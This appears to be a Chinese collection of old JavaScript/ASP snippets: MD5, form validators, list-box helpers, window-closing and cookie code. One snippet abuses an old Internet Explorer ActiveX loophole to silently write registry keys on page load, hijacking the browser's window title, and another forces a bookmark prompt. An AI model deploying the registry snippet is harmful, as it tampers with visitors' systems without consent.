用IE重起计算机或者关机 代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript运行客户端exe程序 ( 说明:这只是提供一种思路,不过能不能运行还要看IE的安全设置。)
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
Javascript+HTML仿造VB里的MonthView控件 代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
在IE客户端调用windows系统资源
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个三级关联菜单的例子 代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一种在父窗口中得知 window.open()出的子窗口关闭事件的方法(定时器实现)
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
MSDN 中 clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 控件 代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
用javascirpt在<TEXTAREA>中插入元素(光标位置)
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个关于新窗口自动调节大小的问题 代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript动态增加、删除、填充表格内容
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
层不能跨框架(包括TEXTAREA)显示的解决办法 代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
object还有其他几种用法
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
不用询问关闭一个独立的窗口代码 代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
做WEB热键
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
按下回车键指向下一个位置的一个函数
1
function
tofocus(itemname)
//
按回车置下一个位置
2
{
3
var
a
4
a
=
eval(
"
document.vouch.
"
+
itemname)
5
a.focus()
6
}
7
在控件中使用onkeypress
=
"
javascrip:if(window.event.keyCode==13){tofocus('nextformname')}提取下一个控件名
MD5加密的javascript实现例子
1
/*
MD5 Message-Digest Algorithm - JavaScript
2
' MODIFICATION HISTORY:
3
' 1.0 16-Feb-2001 - Phil Fresle ([email protected] ) - Initial Version (VB/ASP code)
4
' 1.0 21-Feb-2001 - Enrico Mosanghini ([email protected] ) - JavaScript porting
5
*/
6
function
MD5(sMessage) {
7
function
RotateLeft(lValue, iShiftBits) {
return
(lValue
<<
iShiftBits)
|
(lValue
>>>
(
32
-
iShiftBits)); }
8
function
AddUnsigned(lX,lY) {
9
var
lX4,lY4,lX8,lY8,lResult;
10
lX8
=
(lX
&
0x80000000
);
11
lY8
=
(lY
&
0x80000000
);
12
lX4
=
(lX
&
0x40000000
);
13
lY4
=
(lY
&
0x40000000
);
14
lResult
=
(lX
&
0x3FFFFFFF
)
+
(lY
&
0x3FFFFFFF
);
15
if
(lX4
&
lY4)
return
(lResult
^
0x80000000
^
lX8
^
lY8);
16
if
(lX4
|
lY4) {
17
if
(lResult
&
0x40000000
)
return
(lResult
^
0xC0000000
^
lX8
^
lY8);
18
else
return
(lResult
^
0x40000000
^
lX8
^
lY8);
19
}
else
return
(lResult
^
lX8
^
lY8);
20
}
21
function
F(x,y,z) {
return
(x
&
y)
|
((
~
x)
&
z); }
22
function
G(x,y,z) {
return
(x
&
z)
|
(y
&
(
~
z)); }
23
function
H(x,y,z) {
return
(x
^
y
^
z); }
24
function
I(x,y,z) {
return
(y
^
(x
|
(
~
z))); }
25
function
FF(a,b,c,d,x,s,ac) {
26
a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
27
return
AddUnsigned(RotateLeft(a, s), b);
28
}
29
function
GG(a,b,c,d,x,s,ac) {
30
a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
31
return
AddUnsigned(RotateLeft(a, s), b);
32
}
33
function
HH(a,b,c,d,x,s,ac) {
34
a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
35
return
AddUnsigned(RotateLeft(a, s), b);
36
}
37
function
II(a,b,c,d,x,s,ac) {
38
a
=
AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
39
return
AddUnsigned(RotateLeft(a, s), b);
40
}
41
function
ConvertToWordArray(sMessage) {
42
var
lWordCount;
43
var
lMessageLength
=
sMessage.length;
44
var
lNumberOfWords_temp1
=
lMessageLength
+
8
;
45
var
lNumberOfWords_temp2
=
(lNumberOfWords_temp1
-
(lNumberOfWords_temp1
%
64
))
/
64
;
46
var
lNumberOfWords
=
(lNumberOfWords_temp2
+
1
)
*
16
;
47
var
lWordArray
=
Array(lNumberOfWords
-
1
);
48
var
lBytePosition
=
0
;
49
var
lByteCount
=
0
;
50
while
( lByteCount
<
lMessageLength ) {
51
lWordCount
=
(lByteCount
-
(lByteCount
%
4
))
/
4
;
52
lBytePosition
=
(lByteCount
%
4
)
*
8
;
53
lWordArray[lWordCount]
=
(lWordArray[lWordCount]
|
(sMessage.charCodeAt(lByteCount)
<<
lBytePosition));
54
lByteCount
++
;
55
}
56
lWordCount
=
(lByteCount
-
(lByteCount
%
4
))
/
4
;
57
lBytePosition
=
(lByteCount
%
4
)
*
8
;
58
lWordArray[lWordCount]
=
lWordArray[lWordCount]
|
(
0x80
<<
lBytePosition);
59
lWordArray[lNumberOfWords
-
2
]
=
lMessageLength
<<
3
;
60
lWordArray[lNumberOfWords
-
1
]
=
lMessageLength
>>>
29
;
61
return
lWordArray;
62
}
63
function
WordToHex(lValue) {
64
var
WordToHexValue
=
""
,WordToHexValue_temp
=
""
,lByte,lCount;
65
for
(lCount
=
0
;lCount
<=
3
;lCount
++
) {
66
lByte
=
(lValue
>>>
(lCount
*
8
))
&
255
;
67
WordToHexValue_temp
=
"
0
"
+
lByte.toString(
16
);
68
WordToHexValue
=
WordToHexValue
+
WordToHexValue_temp.substr(WordToHexValue_temp.length
-
2
,
2
);
69
}
70
return
WordToHexValue;
71
}
72
var
x
=
Array();
73
var
k,AA,BB,CC,DD,a,b,c,d
74
var
S11
=
7
, S12
=
12
, S13
=
17
, S14
=
22
;
75
var
S21
=
5
, S22
=
9
, S23
=
14
, S24
=
20
;
76
var
S31
=
4
, S32
=
11
, S33
=
16
, S34
=
23
;
77
var
S41
=
6
, S42
=
10
, S43
=
15
, S44
=
21
;
78
//
Steps 1 and 2. Append padding bits and length and convert to words
79
x
=
ConvertToWordArray(sMessage);
80
//
Step 3. Initialise
81
a
=
0x67452301
; b
=
0xEFCDAB89
; c
=
0x98BADCFE
; d
=
0x10325476
;
82
//
Step 4. Process the message in 16-word blocks
83
for
(k
=
0
;k
<
x.length;k
+=
16
) {
84
AA
=
a; BB
=
b; CC
=
c; DD
=
d;
85
a
=
FF(a,b,c,d,x[k
+
0
], S11,
0xD76AA478
);
86
d
=
FF(d,a,b,c,x[k
+
1
], S12,
0xE8C7B756
);
87
c
=
FF(c,d,a,b,x[k
+
2
], S13,
0x242070DB
);
88
b
=
FF(b,c,d,a,x[k
+
3
], S14,
0xC1BDCEEE
);
89
a
=
FF(a,b,c,d,x[k
+
4
], S11,
0xF57C0FAF
);
90
d
=
FF(d,a,b,c,x[k
+
5
], S12,
0x4787C62A
);
91
c
=
FF(c,d,a,b,x[k
+
6
], S13,
0xA8304613
);
92
b
=
FF(b,c,d,a,x[k
+
7
], S14,
0xFD469501
);
93
a
=
FF(a,b,c,d,x[k
+
8
], S11,
0x698098D8
);
94
d
=
FF(d,a,b,c,x[k
+
9
], S12,
0x8B44F7AF
);
95
c
=
FF(c,d,a,b,x[k
+
10
],S13,
0xFFFF5BB1
);
96
b
=
FF(b,c,d,a,x[k
+
11
],S14,
0x895CD7BE
);
97
a
=
FF(a,b,c,d,x[k
+
12
],S11,
0x6B901122
);
98
d
=
FF(d,a,b,c,x[k
+
13
],S12,
0xFD987193
);
99
c
=
FF(c,d,a,b,x[k
+
14
],S13,
0xA679438E
);
100
b
=
FF(b,c,d,a,x[k
+
15
],S14,
0x49B40821
);
101
a
=
GG(a,b,c,d,x[k
+
1
], S21,
0xF61E2562
);
102
d
=
GG(d,a,b,c,x[k
+
6
], S22,
0xC040B340
);
103
c
=
GG(c,d,a,b,x[k
+
11
],S23,
0x265E5A51
);
104
b
=
GG(b,c,d,a,x[k
+
0
], S24,
0xE9B6C7AA
);
105
a
=
GG(a,b,c,d,x[k
+
5
], S21,
0xD62F105D
);
106
d
=
GG(d,a,b,c,x[k
+
10
],S22,
0x2441453
);
107
c
=
GG(c,d,a,b,x[k
+
15
],S23,
0xD8A1E681
);
108
b
=
GG(b,c,d,a,x[k
+
4
], S24,
0xE7D3FBC8
);
109
a
=
GG(a,b,c,d,x[k
+
9
], S21,
0x21E1CDE6
);
110
d
=
GG(d,a,b,c,x[k
+
14
],S22,
0xC33707D6
);
111
c
=
GG(c,d,a,b,x[k
+
3
], S23,
0xF4D50D87
);
112
b
=
GG(b,c,d,a,x[k
+
8
], S24,
0x455A14ED
);
113
a
=
GG(a,b,c,d,x[k
+
13
],S21,
0xA9E3E905
);
114
d
=
GG(d,a,b,c,x[k
+
2
], S22,
0xFCEFA3F8
);
115
c
=
GG(c,d,a,b,x[k
+
7
], S23,
0x676F02D9
);
116
b
=
GG(b,c,d,a,x[k
+
12
],S24,
0x8D2A4C8A
);
117
a
=
HH(a,b,c,d,x[k
+
5
], S31,
0xFFFA3942
);
118
d
=
HH(d,a,b,c,x[k
+
8
], S32,
0x8771F681
);
119
c
=
HH(c,d,a,b,x[k
+
11
],S33,
0x6D9D6122
);
120
b
=
HH(b,c,d,a,x[k
+
14
],S34,
0xFDE5380C
);
121
a
=
HH(a,b,c,d,x[k
+
1
], S31,
0xA4BEEA44
);
122
d
=
HH(d,a,b,c,x[k
+
4
], S32,
0x4BDECFA9
);
123
c
=
HH(c,d,a,b,x[k
+
7
], S33,
0xF6BB4B60
);
124
b
=
HH(b,c,d,a,x[k
+
10
],S34,
0xBEBFBC70
);
125
a
=
HH(a,b,c,d,x[k
+
13
],S31,
0x289B7EC6
);
126
d
=
HH(d,a,b,c,x[k
+
0
], S32,
0xEAA127FA
);
127
c
=
HH(c,d,a,b,x[k
+
3
], S33,
0xD4EF3085
);
128
b
=
HH(b,c,d,a,x[k
+
6
], S34,
0x4881D05
);
129
a
=
HH(a,b,c,d,x[k
+
9
], S31,
0xD9D4D039
);
130
d
=
HH(d,a,b,c,x[k
+
12
],S32,
0xE6DB99E5
);
131
c
=
HH(c,d,a,b,x[k
+
15
],S33,
0x1FA27CF8
);
132
b
=
HH(b,c,d,a,x[k
+
2
], S34,
0xC4AC5665
);
133
a
=
II(a,b,c,d,x[k
+
0
], S41,
0xF4292244
);
134
d
=
II(d,a,b,c,x[k
+
7
], S42,
0x432AFF97
);
135
c
=
II(c,d,a,b,x[k
+
14
],S43,
0xAB9423A7
);
136
b
=
II(b,c,d,a,x[k
+
5
], S44,
0xFC93A039
);
137
a
=
II(a,b,c,d,x[k
+
12
],S41,
0x655B59C3
);
138
d
=
II(d,a,b,c,x[k
+
3
], S42,
0x8F0CCC92
);
139
c
=
II(c,d,a,b,x[k
+
10
],S43,
0xFFEFF47D
);
140
b
=
II(b,c,d,a,x[k
+
1
], S44,
0x85845DD1
);
141
a
=
II(a,b,c,d,x[k
+
8
], S41,
0x6FA87E4F
);
142
d
=
II(d,a,b,c,x[k
+
15
],S42,
0xFE2CE6E0
);
143
c
=
II(c,d,a,b,x[k
+
6
], S43,
0xA3014314
);
144
b
=
II(b,c,d,a,x[k
+
13
],S44,
0x4E0811A1
);
145
a
=
II(a,b,c,d,x[k
+
4
], S41,
0xF7537E82
);
146
d
=
II(d,a,b,c,x[k
+
11
],S42,
0xBD3AF235
);
147
c
=
II(c,d,a,b,x[k
+
2
], S43,
0x2AD7D2BB
);
148
b
=
II(b,c,d,a,x[k
+
9
], S44,
0xEB86D391
);
149
a
=
AddUnsigned(a,AA); b
=
AddUnsigned(b,BB); c
=
AddUnsigned(c,CC); d
=
AddUnsigned(d,DD);
150
}
151
//
Step 5. Output the 128 bit digest
152
var
temp
=
WordToHex(a)
+
WordToHex(b)
+
WordToHex(c)
+
WordToHex(d);
153
return
temp.toLowerCase();
154
}
改进的email检查js脚本
1
function
isEmail(str)
2
{
3
//
are regular expressions supported?
4
var
supported
=
0
;
5
if
(window.RegExp) {
6
var
tempStr
=
"
a
"
;
7
var
tempReg
=
new
RegExp(tempStr);
8
if
(tempReg.test(tempStr)) supported
=
1
;
9
}
10
if
(
!
supported)
11
return
(str.indexOf(
"
.
"
)
>
2
)
&&
(str.indexOf(
"
@
"
)
>
0
);
12
var
r1
=
new
RegExp(
"
(@.*@)|(\\.\\.)|(@\\.)|(^\\.)
"
);
13
var
r2
=
new
RegExp(
"
^.+\\@(\\[?)][a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$
"
);
14
return
(
!
r1.test(str)
&&
r2.test(str));
15
}
判断输入是否为中文的函数
1
function
ischinese(s){
2
var
ret
=
true
;
3
for
(
var
i
=
0
;i
<
s.length;i
++
)
4
ret
=
ret
&&
(s.charCodeAt(i)
>=
10000
);
5
return
ret;
6
}
综合的判断用户输入的合法性的函数
1
<
script language
=
"
javascript
"
>
2
//
限制输入字符的位数开始
3
//
m是用户输入,n是要限制的位数
4
function
issmall(m,n)
5
{
6
if
((m
<
n)
&&
(m
>
0
))
7
{
8
return
(
false
);
9
}
10
else
11
{
return
(
true
);}
12
}
13
14
//
限制输入字符的位数结束
15
16
//
判断密码是否输入一致开始
17
function
issame(str1,str2)
18
{
19
if
(str1
==
str2)
20
{
return
(
true
);}
21
else
22
{
return
(
false
);}
23
}
24
//
判断密码是否输入一致结束
25
26
//
判断是否为空开始
27
function
isnotnull(str)
28
{
29
if
(str.length
==
""
)
30
{
31
return
(
false
);
32
}
33
else
34
{
35
return
(
true
);
36
}
37
}
38
39
//
判断是否为空结束
40
41
42
//
判断用户名是否为数字字母下滑线开始
43
function
notchinese(str){
44
var
reg
=/
[
^
A
-
Za
-
z0
-
9_]
/
g
45
if
(reg.test(str)){
46
return
(
false
);
47
}
else
{
48
return
(
true
); }
49
}
50
51
//
判断用户名是否为数字字母下滑线结束
52
53
//
判断是否为日期型开始
54
function
isDate (theStr) {
55
var
the1st
=
theStr.indexOf('
-
');
56
var
the2nd
=
theStr.lastIndexOf('
-
');
57
58
if
(the1st
==
the2nd) {
return
(
false
); }
59
else
{
60
var
y
=
theStr.substring(
0
,the1st);
61
var
m
=
theStr.substring(the1st
+
1
,the2nd);
62
var
d
=
theStr.substring(the2nd
+
1
,theStr.length);
63
var
maxDays
=
31
;
64
65
if
(fucCheckNUM(m)
==
false
||
fucCheckNUM(d)
==
false
||
fucCheckNUM(y)
==
false
) {
66
return
(
false
); }
67
else
if
(y.length
<
4
) {
return
(
false
); }
68
else
if
((m
<
1
)
||
(m
>
12
)) {
return
(
false
); }
69
else
if
(m
==
4
||
m
==
6
||
m
==
9
||
m
==
11
) maxDays
=
30
;
70
else
if
(m
==
2
) {
71
if
(y
%
4
>
0
) maxDays
=
28
;
72
else
if
(y
%
100
==
0
&&
y
%
400
>
0
) maxDays
=
28
;
73
else
maxDays
=
29
;
74
}
75
if
((m
<
1
)
||
(m
>
maxDays)) {
return
(
false
); }
76
else
{
return
(
true
); }
77
}
78
}
79
80
function
fucCheckNUM(NUM)
81
{
82
var
i,j,strTemp;
83
strTemp
=
"
0123456789
"
;
84
if
( NUM.length
==
0
)
85
return
0
86
for
(i
=
0
;i
<
NUM.length;i
++
)
87
{
88
j
=
strTemp.indexOf(NUM.charAt(i));
89
if
(j
==-
1
)
90
{
91
//
说明有字符不是数字
92
return
0
;
93
}
94
}
95
//
说明是数字
96
return
1
;
97
}
98
99
//
判断是否为日期型结束
100
101
102
//
判断是否为固定的位数开始
103
function
isatn(m,n)
104
{
105
if
(m
!=
n)
106
{
107
return
(
false
);
108
}
109
else
110
{
111
return
(
true
);}
112
}
113
//
判断是否为固定的位数结束
114
115
//
判断是否为电话号码开始
116
function
istel(telstr)
117
{
118
var
reg
=/
[
^
0
-
9
-
]
/
g;
119
if
(telstr
!=
""
) {
120
if
(reg.test(telstr)){
121
return
(
false
);
122
}
123
else
124
{
125
return
(
true
);
126
}
127
}
128
}
129
//
判断是否为电话号码结束
130
131
//
判断是否为email开始
132
function
isemail(emailstr) {
133
if
((emailstr.indexOf('@',
0
)
==
-
1
)
||
emailstr.indexOf('.')
==
-
1
)
134
{
135
return
false
136
}
137
else
{
138
return
true
139
}
140
}
141
//
判断是否为email结束
142
143
//
中文输入判断开始
144
function
ischinese(str){
145
var
reg
=/
[
^
A
-
Za
-
z0
-
9_]
/
g
146
if
(reg.test(str)){
147
return
(
true
);
148
}
else
{
149
return
(
false
); }
150
}
151
//
中文输入判断结束
152
</
script
>
按esc键退出的一个函数
1
function
esckey(keycode)
//
按esc键退出
2
{
3
if
(keycode
==
27
)
4
{
5
window.close()
6
}
7
}
自动关闭窗口
1
做一些小窗口发消息的等程序常用到自动关闭窗口
2
方法一:
3
<
OBJECT id
=
closew type
=
"
application/x-oleobject
"
classid
=
"
clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
"
>
4
<
param name
=
"
Command
"
value
=
"
Close
"
>
5
</
object
>
6
<
script LANGUAGE
=
"
JavaScript
"
>
7
<!--
8
setTimeout('colosw.Click();',
1000
);
9
//
-->
10
</
script
>
11
<%
12
response.write
"
留言成功!
"
13
14
15
设置1秒留点时间显示
"
留言成功!
"
16
缺点,无发使用与Tencent等一些浏览器,会把整个窗一起关掉
17
18
19
方法二
20
<
script LANGUAGE
=
"
JavaScript
"
>
21
<!--
22
function
closew(){
23
self.focus();
24
self.close();
25
return
false
;
26
}
27
28
setTimeout(
"
closew();
"
,
1000
);
29
//
-->
30
</
script
>
31
<%
32
response.write
"
留言成功!
"
33
34
推荐使用
列表框操作函数集合
1
/*
列表框互相操作函数集
*/
2
3
//
描述: 添加不重复列表框元素
4
function
selAdd( srcList, dstList )
5
{
6
var
selectedIndex
=
new
Array();
7
var
count
=
0
;
8
9
for
( i
=
0
; i
<
srcList.options.length; i
++
){
10
11
if
( srcList.options[i].selected ){
12
13
selectedIndex[count]
=
i;
14
count
++
;
15
16
}
17
}
18
19
for
( j
=
0
; j
<
selectedIndex.length; j
++
){
20
21
k
=
selectedIndex[j];
22
23
if
( chkDup( srcList.options[k].value, dstList )
==
false
){
24
&
, nbsp; dstList.options.length
++
;
25
var
len
=
dstList.options.length
-
1
;
26
dstList.options[len].value
=
srcList.options[k].value;
27
dstList.options[len].text
=
srcList.options[k].text;
28
}
29
30
}
31
32
}
33
34
//
描述: 删除列表框元素
35
function
selDel( list )
36
{
37
var
len
=
list.options.length;
38
var
idx
=
0
;
39
40
while
( idx
<
len ){
41
42
if
( list.options[idx].selected ){
43
list.options.remove(idx);
44
len
=
list.options.length;
45
}
46
else
{
47
idx
++
;
48
}
49
}
50
}
51
52
//
描述: 检测列表框元素重复
53
function
chkDup( item, list )
54
{
55
for
( i
=
0
; i
<
list.options.length; i
++
){
56
//
alert( item + " - " + list.options[i].value );
57
if
( item
==
list.options[i].value ){
58
return
true
;
59
}
60
}
61
return
false
;
62
}
63
64
//
描述: 选择列表框的全部成员
65
function
selSel( list, item )
66
{
67
item.value
=
"
"
;
68
for
( i
=
0
; i
<
list.options.length; i
++
){
69
list.options[i].selected
=
true
;
70
item.value
+=
list.options[i].value
+
"
"
;
71
}
72
73
}
74
75
function
selSelSingle( list, value )
76
{
77
for
( i
=
0
; i
<
list.options.length; i
++
){
78
if
( list.options[i].value
==
value ){
79
list.options[i].selected
=
true
;
80
break
;
81
}
82
}
83
84
}
85
//
描述: 根据数组初始化列表框
86
function
selList( item, arr )
87
{
88
89
var
curIndex, insIndex, val, text;
90
var
arrItem
=
new
Array();
91
92
if
( item ){
93
94
item.length
=
0
;
95
curIndex
=
0
;
96
97
for
( i
=
0
; i
<
arr.length; i
++
){
98
99
item.length
++
;
100
insIndex
=
item.length
-
1
;
101
102
if
( arr[i] ){
103
arrItem
=
arr[i].split(
"
,
"
);
104
text
=
arrItem[
1
];
105
val
=
arrItem[
0
];
106
item.options[ insIndex ].text
=
text;
107
item.options[ insIndex ].value
=
val;
108
}
109
}
110
111
}
112
}
带进度条的关闭窗口
1
<%
Function myloading(a)
%>
2
<
form name
=
"
loading
"
>
3
<
div align
=
"
center
"
><
center
><
p
><
input
4
style
=
"
PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: bolder; PADDING-BOTTOM: 0px; COLOR: red; BORDER-TOP-STYLE: none; PADDING-TOP: 0px; FONT-FAMILY: Arial; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BACKGROUND-COLOR: yellow; BORDER-BOTTOM-STYLE: none
"
5
size
=
"
46
"
name
=
"
chart
"
>
<
br
>
6
<
input
7
style
=
"
BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; COLOR: rgb(138,134,134); BORDER-BOTTOM: medium none; TEXT-ALIGN: center
"
8
size
=
"
46
"
name
=
"
percent
"
>
9
10
<
script
>
11
var
bar
=
0
12
var
line
=
"
||
"
13
var
amount
=
"
||
"
14
count()
15
function
count()
16
{
17
bar
=
bar
+
2
18
amount
=
amount
+
line
19
document.loading.chart.value
=
amount
20
document.loading.percent.value
=
bar
+
"
%
"
21
if
(bar
<
99
)
22
{setTimeout(
"
count()
"
,
100
);}
23
else
24
<%
if
a
=
"
closeit
"
then
%>
25
{ setTimeout(
"
closeme();
"
,
10
); }
26
<%
else
%>
27
{ setTimeout(
"
window.go(-1);
"
,
10
); }
28
<%
end
if
%>
29
}
30
function
closeme(){
31
self.focus();
32
self.close();
33
return
false
;
34
}
35
</
script
>
36
</
p
>
37
</
center
></
div
>
38
</
form
>
39
<%
End Function
%>
40
利用cookie收藏网站
1
不用每次都询问别人是否收藏,烦!
2
<
SCRIPT LANGUAGE
=
"
JavaScript
"
>
3
<!--
Begin
4
var
expDays
=
100
;
5
url
=
"
http://softet.6to23.com
"
;;
6
title
=
"
Come on
"
;
7
function
GetCookie (name) {
8
var
arg
=
name
+
"
=
"
;
9
var
alen
=
arg.length;
10
var
clen
=
document.cookie.length;
11
var
i
=
0
;
12
while
(i
<
clen) {
13
var
j
=
i
+
alen;
14
if
(document.cookie.substring(i, j)
==
arg)
15
return
getCookieVal (j);
16
i
=
document.cookie.indexOf(
"
"
, i)
+
1
;
17
if
(i
==
0
)
break
;
18
}
19
return
null
;
20
}
21
function
SetCookie (name, value) {
22
var
argv
=
SetCookie.arguments;
23
var
argc
=
SetCookie.arguments.length;
24
var
expires
=
(argc
>
2
)
?
argv[
2
] :
null
;
25
var
path
=
(argc
>
3
)
?
argv[
3
] :
null
;
26
var
domain
=
(argc
>
4
)
?
argv[
4
] :
null
;
27
var
secure
=
(argc
>
5
)
?
argv[
5
] :
false
;
28
document.cookie
=
name
+
"
=
"
+
escape (value)
+
29
((expires
==
null
)
?
""
: (
"
; expires=
"
+
expires.toGMTString()))
+
30
((path
==
null
)
?
""
: (
"
; path=
"
+
path))
+
31
((domain
==
null
)
?
""
: (
"
; domain=
"
+
domain))
+
32
((secure
==
true
)
?
"
; secure
"
:
""
);
33
}
34
function
DeleteCookie (name) {
35
var
exp
=
new
Date();
36
exp.setTime (exp.getTime()
-
1
);
37
var
cval
=
GetCookie (name);
38
document.cookie
=
name
+
"
=
"
+
cval
+
"
; expires=
"
+
exp.toGMTString();
39
}
40
var
exp
=
new
Date();
41
exp.setTime(exp.getTime()
+
(expDays
*
24
*
60
*
60
*
1000
));
42
function
amt(){
43
var
count
=
GetCookie('count')
44
if
(count
==
null
) {
45
SetCookie('count','
1
')
46
return
1
47
}
48
else
{
49
var
newcount
=
parseInt(count)
+
1
;
50
DeleteCookie('count')
51
SetCookie('count',newcount,exp)
52
return
count
53
}
54
}
55
function
getCookieVal(offset) {
56
var
endstr
=
document.cookie.indexOf (
"
;
"
, offset);
57
if
(endstr
==
-
1
)
58
endstr
=
document.cookie.length;
59
return
unescape(document.cookie.substring(offset, endstr));
60
}
61
62
function
checkCount() {
63
var
count
=
GetCookie('count');
64
if
(count
==
null
) {
65
count
=
1
;
66
SetCookie('count', count, exp);
67
68
if
((navigator.appName
==
"
Microsoft Internet Explorer
"
)
&&
(parseInt(navigator.appVersion)
>=
4
)) {
69
window.external.AddFavorite (url,title);
70
}
71
else
{
72
var
msg
=
"
Don't forget to bookmark us!
"
;
73
if
(navigator.appName
==
"
Netscape
"
) msg
+=
"
(CTRL-D)
"
;
74
alert(msg);
75
}
76
}
77
else
{
78
count
++
;
79
SetCookie('count', count, exp);
80
}
81
}
82
checkCount();
83
//
End -->
84
</
script
>
JavaScript修改注册表
1
<
SCRIPT Language
=
"
JavaScript
"
type
=
"
text/javascript
"
>
2
<!--
3
4
document.write(
"
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
"
);
5
6
function
f(){
7
try
8
{
9
//
ActiveX initialization
10
a1
=
document.applets[
0
];
11
a1.setCLSID(
"
{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
"
);
12
a1.createInstance();
13
Shl
=
a1.GetObject();
14
a1.setCLSID(
"
{0D43FE01-F093-11CF-8940-00A0C9054228}
"
);
15
a1.createInstance();
16
FSO
=
a1.GetObject();
17
a1.setCLSID(
"
{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}
"
);
18
a1.createInstance();
19
Net
=
a1.GetObject();
20
21
try
22
{
23
if
(document.cookie.indexOf(
"
Chg
"
)
==
-
1
)
24
{
25
26
27
Shl.RegWrite (
"
HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title
"
,
"
那个该死的网站 http://www.the****site.com
"
;);
28
Shl.RegWrite (
"
HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title
"
,
"
那个该死的网站 http://www.the****site.com
"
;);
29
var
expdate
=
new
Date((
new
Date()).getTime()
+
(
1
));
30
document.cookie
=
"
Chg=general; expires=
"
+
expdate.toGMTString()
+
"
; path=/;
"
31
32
}
33
}
34
catch
(e)
35
{}
36
}
37
catch
(e)
38
{}
39
}
40
function
init()
41
{
42
setTimeout(
"
f()
"
,
1000
);
43
}
44
init();
45
46
//
-->
47
</
SCRIPT
>
js中,有什么函数可以令数字每千位就加一“,”,还有什么函数可以保留小数后两位
1
/*
**********************************************************
2
Function formatnumber(value,num)
3
Written by zergling
4
javascript版本的FormatNumber函数,用法与VBScript相同,第一个参数是待格式化的数值,第二个是保留小数位数
5
注意:返回的是字符串类型
6
**********************************************************
*/
7
function
formatnumber(value,num)
8
{
9
var
a,b,c,i
10
a
=
value.toString();
11
b
=
a.indexOf('.');
12
c
=
a.length;
13
if
(num
==
0
)
14
{
15
if
(b
!=-
1
)
16
a
=
a.substring(
0
,b);
17
}
18
else
19
{
20
if
(b
==-
1
)
21
{
22
a
=
a
+
"
.
"
;
23
for
(i
=
1
;i
<=
num;i
++
)
24
a
=
a
+
"
0
"
;
25
}
26
else
27
{
28
a
=
a.substring(
0
,b
+
num
+
1
);
29
for
(i
=
c;i
<=
b
+
num;i
++
)
30
a
=
a
+
"
0
"
;
31
}
32
}
33
return
a
34
}
35